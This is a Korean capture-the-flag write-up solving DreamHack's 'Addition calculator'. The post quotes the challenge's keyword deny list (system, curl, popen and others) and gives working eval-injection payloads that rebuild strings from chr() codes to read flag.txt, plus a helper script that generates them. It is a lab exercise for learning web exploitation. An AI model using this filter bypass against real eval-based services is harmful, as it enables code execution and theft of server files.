[DreamHack] Addition calculator

https://dreamhack.io/wargame/challenges/1021

 

Addition calculator

Description덧셈 식을 입력하면 계산 결과를 출력하는 웹 서비스입니다. ./flag.txt 파일에 있는 플래그를 획득하세요. 플래그 형식은 DH{...} 입니다.

dreamhack.io

 

 

서버를 생성해서 들어가니 이런 페이지가 뜬다.

(숫자)+(숫자)를 입력하고 제출 버튼을 누르면 계산 결과가 출력된다.

 

def filter(formula):
    w_list = list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
    w_list.extend([" ", ".", "(", ")", "+"])

    if re.search("(system)|(curl)|(flag)|(subprocess)|(popen)", formula, re.I):
        return True
    for c in formula:
        if c not in w_list:
            return True

 

플래그가 보이는 부분을 살펴보면, formula를 입력받아서 필터링하는 코드임을 알 수 있다.

금지된 키워드가 있는데, system, curl, flag, subprocess, popen 중 하나라도 포함되면 true를 리턴한다.

re.I라는 말은 대소문자 구분 없이 검사한다는 뜻으로 FlaG 이런 것도 안통한다는 말이다.

 

그다음 문자 단위로 허용여부를 검사하는데,

formular의 각 문자를 하나씩 검사해서 w_list에 없는 문자가 있으면 true를 리턴한다.


Exploit

이 필터링을 우회하기 위해서 가장 먼저 떠오른 것이 문자열을 아스키코드로 변환하는 방법이었다.

허용된 문자: 영어 / 숫자 / 공백 / ( / ) / . / +

차단된 문자: system, curl, flag, subprocess, popen, 특수문자

 

https://ko.calc-site.com/bases/ascii

 

ASCII 코드 변환 - 진수 변환 - 계산 사이트

입력된 ASCII 코드를 쉽게 변환할 수 있습니다. 2진수, 10진수, 16진수에서 문자로 변환하거나 문자를 2진수, 10진수, 16진수로 변환할 수 있습니다. 텍스트에서 ASCII 변환 변환 전은 “텍스트”을 선

ko.calc-site.com

 

위 사이트를 이용해서 문자열을 숫자로 변환해주었다.

chr(102)+chr(108)chr(97)+chr(103)을 입력해보니 flag라는 문자열이 출력된다.

 

chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(34)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)+chr(34)+chr(41)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41)

뺑이쳐서 문자열을 다 만들었더니 감사하게도 그대로 출력해준다.

일단 이런 문제가 발생한 이유는 바로 eval() 때문인데, 이건 문자열을 파이썬 코드처럼 실행하는 함수이다.

문자열이 파이썬 코드 형태일 때만 실행되기 때문에 파이썬 문법에 맞아야 한다.

 

eval(open("flag.txt").read())

즉 우리가 플래그 파일의 내용을 읽어오기 위해서는 이런 코드가 필요했던 것인데,

open을 문자열로 만들어버리니 실제 함수로 실행되지 않았던 것이다.

 

 

실제로 open만 입력해서 제출해보면 <built-in function open> 이렇게 뜨는 것을 볼 수 있다.

이건 이미 open이 내장되어있다는 뜻으로 그냥 open을 입력하면 함수가 실행된다는 것이다.

 

open(chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)).read()


참고

다른 분들의 라이트업을 보니 내 풀이가 상당히 비효율적으로 느껴졌다.

대부분 코드를 짜서 아스키코드로 변환하는 것 같아서 나도 한번 해보았다.

 

def to_chr_expr(s):
    return '+'.join(f'chr({ord(c)})' for c in s)

text = 'flag.txt'
print(to_chr_expr(text))

 

'해킹 스터디' 카테고리의 다른 글

[DreamHack] easy-login  (2) 2025.07.24
[DreamHack] Small Counter  (0) 2025.07.23
[DreamHack] curling  (1) 2025.07.12
[DreamHack] Description  (1) 2025.07.09
[DreamHack] baby-ai  (0) 2025.06.30